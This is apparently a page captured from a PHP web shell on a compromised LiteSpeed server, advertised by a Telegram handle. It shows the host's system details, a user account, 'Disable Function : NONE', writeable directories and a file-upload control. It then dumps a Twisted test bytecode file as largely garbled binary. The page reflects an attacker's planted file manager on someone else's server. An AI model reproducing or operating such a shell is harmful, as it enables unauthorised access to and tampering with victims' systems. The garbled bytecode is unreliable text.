https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python3/dist-packages/twisted/test/__pycache__/stdio_test_consumer.cpython-310.pyc
o

�b��@s�dZddlZddlmZmZddlmZddlmZm	Z	dd�Z
Gdd	�d	ej�Ze
d
krMe	�ejd���ddlmZe�eejd
��e��dSdS)z�
Main program for the child process run by
L{twisted.test.test_stdio.StandardInputOutputTests.test_consumer} to test
that process transports implement IConsumer properly.
�N)�protocol�stdio)�basic)�log�reflectcCst�tj�t�|�dS�N)r�startLogging�sys�stderr�err)r�r�B/usr/lib/python3/dist-packages/twisted/test/stdio_test_consumer.py�failedsrc@s$eZdZdd�Zdd�Zdd�ZdS)�
ConsumerChildcCs
||_dSr)�junkPath)�selfrrrr
�__init__s
zConsumerChild.__init__cs:t���t�jd��j�}|�t�|��fdd��dS)N�rbcs
�j��Sr)�	transport�loseConnection)�ign�rrr
�<lambda>!s
z.ConsumerChild.connectionMade.<locals>.<lambda>)	r�
FileSender�beginFileTransfer�openrr�
addErrbackr�addCallback)r�drrr
�connectionMades
�
zConsumerChild.connectionMadecCst��dSr)�reactor�stop)r�reasonrrr
�connectionLost#szConsumerChild.connectionLostN)�__name__�
__module__�__qualname__rrr#rrrr
rsr�__main__�)r �)�__doc__r	�twisted.internetrr�twisted.protocolsr�twisted.pythonrrr�Protocolrr$�namedAny�argv�installr �
StandardIO�runrrrr
�<module>s�

https://t.me/RX1948 - 2025